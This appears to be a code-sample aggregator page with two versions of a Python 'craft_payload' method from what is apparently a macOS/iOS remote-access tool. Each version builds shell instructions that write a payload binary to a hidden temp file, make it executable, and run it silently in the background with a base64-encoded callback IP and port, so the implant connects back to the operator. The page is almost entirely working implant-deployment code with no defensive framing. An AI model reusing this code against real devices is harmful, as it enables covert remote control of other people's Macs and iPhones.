Exemple #1
0
 def craft_payload(self, device_arch):
     if not self.host:
         h.info_error("Local host is not set!")
         return
     if not self.port:
         h.info_error("Local port is not set!")
         return
     payload_parameter = h.b64(
         json.dumps({
             "ip": self.host,
             "port": self.port,
             "debug": self.debug
         }))
     if device_arch in self.macos_architectures:
         self.verbose_print("Connecting to macOS...")
         self.verbose_print("Sending macOS payload...")
         f = open("data/payloads/macos", "rb")
         payload = f.read()
         f.close()
         #save to tmp,
         instructions = \
         "cat >/private/tmp/mouse;"+\
         "chmod 777 /private/tmp/mouse;"+\
         "/private/tmp/mouse "+payload_parameter.decode()+" 2>/dev/null &\n"
         self.verbose_print("Executing macOS payload...")
         return (instructions, payload)
     elif device_arch in self.ios_architectures:
         self.verbose_print("Connecting to iOS...")
         self.verbose_print("Sending iOS payload...")
         f = open("data/payloads/ios", "rb")
         payload = f.read()
         f.close()
         instructions = \
         "cat >/tmp/mouse;"+\
         "chmod 777 /tmp/mouse;"+\
         "mv /tmp/mouse /.mouse;"+\
         "/.mouse "+payload_parameter.decode()+" 2>/dev/null &\n"
         self.verbose_print("Executing iOS payload...")
         return (instructions, payload)
     else:
         h.info_error("The device is not recognized!")
         return
Exemple #2
0
 def craft_payload(self, device_arch):
     if not self.host:
         h.info_error("Local host is not set!")
         return
     if not self.port:
         h.info_error("Local port is not set!")
         return
     payload_parameter = h.b64(
         json.dumps({
             "ip": self.host,
             "port": self.port,
             "debug": self.debug
         }))
     if device_arch in self.macos_architectures:
         h.info_general("Connecting to macOS...")
         h.info_general("Sending macOS payload...")
         f = open("data/payloads/macos", "rb")
         payload = f.read()
         f.close()
         #save to tmp,
         instructions = \
         "cat >/private/tmp/.mouse;"+\
         "chmod +x /private/tmp/.mouse;"+\
         "/private/tmp/.mouse "+payload_parameter.decode()+" 2>/dev/null &\n"
         h.info_general("Executing macOS payload...")
         return (instructions, payload)
     elif device_arch in self.ios_architectures:
         h.info_general("Connecting to iOS...")
         h.info_general("Sending iOS payload...")
         f = open("data/payloads/ios", "rb")
         payload = f.read()
         f.close()
         instructions = \
         "cat >/private/var/tmp/.mouse;"+\
         "chmod +x /private/var/tmp/.mouse;"+\
         "/private/var/tmp/.mouse "+payload_parameter.decode()+" 2>/dev/null &\n"
         h.info_general("Executing iOS payload...")
         return (instructions, payload)
     else:
         h.info_error("Target device is not recognized!")
         input("Press enter to continue...").strip(" ")
         return